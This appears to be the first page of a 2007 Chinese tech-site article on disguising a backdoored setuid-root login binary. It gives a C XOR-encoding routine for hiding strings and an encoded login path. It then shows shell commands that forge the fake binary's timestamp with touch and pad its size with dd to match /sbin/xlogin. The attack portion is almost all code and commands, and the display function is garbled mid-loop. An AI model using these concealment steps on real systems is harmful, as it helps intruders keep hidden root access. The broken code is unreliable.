扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
作者:51cto 2007年10月14日
关键字:
在本页阅读全文(共3页)
采用异或(XOR)算法
以十六进制方式表示字符串,以达到non- printable的效果
1、编码程序encode.c如下:
char magic[]="\x71\x67\x6d\x7a\x65\x61\x7a";
char *de(char *str,char *key)
{
int i=0,j=0,len;
len=strlen(key);
while(str[i] != '\0') {
str[i]^=key[j];
j++;
if(j==len) j=0;
i++;
}
return str;
}
void display(char *str)
{
int i;
for(i=0;iprintf("\n");
}
main()
{
char gets[100], *ptr;
ptr=gets;
scanf ("%s",ptr);
de(ptr,magic);display(ptr);
}
|
\x5e\x14\xf\x13\xb\x4e\x2\x1d\x8\xa\x13\xb |
Char login[]="\x5e\x14\xf\x13\xb\x4e\x2\x1d\x8\xa\x13\xb"; |
# ls -l /sbin/xlogin -r-sr-xr-x root root 19300 Feb 11 1998 /sbin/xlogin # touch -t 199802110000 ulogin # _ |
# ls -l ulogin /sbin/xlogin -r-sr-xr-x root root 7542 Feb 11 1998 ulogin -r-sr-xr-x root root 19300 Feb 11 1998 /sbin/xlogin # bc 19300-7542 11758 # dd if=/sbin/xlogin of=/tmp/t bs=11758 count=1 1+0 records in 1+0 records out 11758 bytes transferred in 0.000379 secs (31016746 bytes/sec) # cat /tmp/t >> ulogin |
如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。